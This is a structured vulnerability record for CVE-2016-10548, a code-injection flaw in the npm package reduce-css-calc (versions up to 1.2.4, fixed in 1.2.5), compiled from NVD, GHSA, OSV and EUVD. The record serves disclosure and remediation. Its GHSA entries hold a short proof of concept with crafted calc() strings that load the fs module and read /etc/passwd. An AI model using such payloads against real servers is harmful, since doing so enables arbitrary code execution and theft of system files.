{"id":"CVE-2016-10548","aliases":["EUVD-2018-0196","GHSA-4662-j96g-mv46"],"status":"published","title":"Arbitrary Code Injection in reduce-css-calc","description":"Arbitrary code execution is possible in reduce-css-calc node module \u003c=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.","severity":{"version":"3.0","score":6.1,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-07","score":0.01193,"percentile":0.68199,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79","CWE-94"],"published":"2018-05-31T20:00:00Z","modified":"2026-10-24T10:30:31Z","fixes":[{"ecosystem":"npm","package":"reduce-css-calc","fixed_in":["1.2.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"reduce-css-calc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.5"}]}]},{"source":"osv","ecosystem":"npm","package":"reduce-css-calc","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.2.5"}]}]}],"products":[{"vendor":"hackerone","product":"reduce-css-calc node module"},{"vendor":"reduce-css-calc_project","product":"reduce-css-calc"}],"references":[{"url":"https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://nodesecurity.io/advisories/144","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10548","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4662-j96g-mv46","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/144","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2016-10548","description":"Arbitrary code execution is possible in reduce-css-calc node module \u003c=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-16T20:03:43.284Z","cwes":["CWE-94"],"updated_at":"2026-11-02T14:33:31.450804Z"}],"euvd":[{"id":"EUVD-2018-0196","description":"Arbitrary code execution is possible in reduce-css-calc node module \u003c=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-16T20:03:43Z","updated_at":"2026-11-03T00:55:17.319093Z"}],"ghsa":[{"id":"GHSA-4662-j96g-mv46","title":"Arbitrary Code Injection in reduce-css-calc","description":"Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require('reduce-css-calc');\nconsole.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));\nconsole.log(reduceCSSCalc(`calc(                       (fs['readFileSync'](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.2.5 or later.","status":"published","published":"2018-06-07T19:43:06Z","modified":"2023-01-09T05:02:52Z","cwes":["CWE-94"],"updated_at":"2026-11-02T14:36:03.768255Z"}],"nvd":[{"id":"CVE-2016-10548","description":"Arbitrary code execution is possible in reduce-css-calc node module \u003c=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.","status":"published","published":"2018-05-31T20:29:01.783Z","modified":"2026-06-17T00:39:54.997Z","cvss":[{"version":"3.0","score":6.1,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":4.3,"vector":"AV:N/AC:M/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-94","CWE-79"],"updated_at":"2026-11-02T14:03:39.176887Z"}],"osv":[{"id":"CVE-2016-10548","description":"Arbitrary code execution is possible in reduce-css-calc node module \u003c=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.","status":"published","published":"2018-05-31T20:29:01.783Z","modified":"2026-10-24T10:30:31.694885779Z","cvss":[{"version":"3.0","score":6.1,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:01.531338Z"},{"id":"GHSA-4662-j96g-mv46","title":"Arbitrary Code Injection in reduce-css-calc","description":"Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require('reduce-css-calc');\nconsole.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));\nconsole.log(reduceCSSCalc(`calc(                       (fs['readFileSync'](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.2.5 or later.","status":"published","published":"2018-06-07T19:43:06Z","modified":"2023-11-08T03:58:11.888099Z","cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:36.434231Z"}]}}
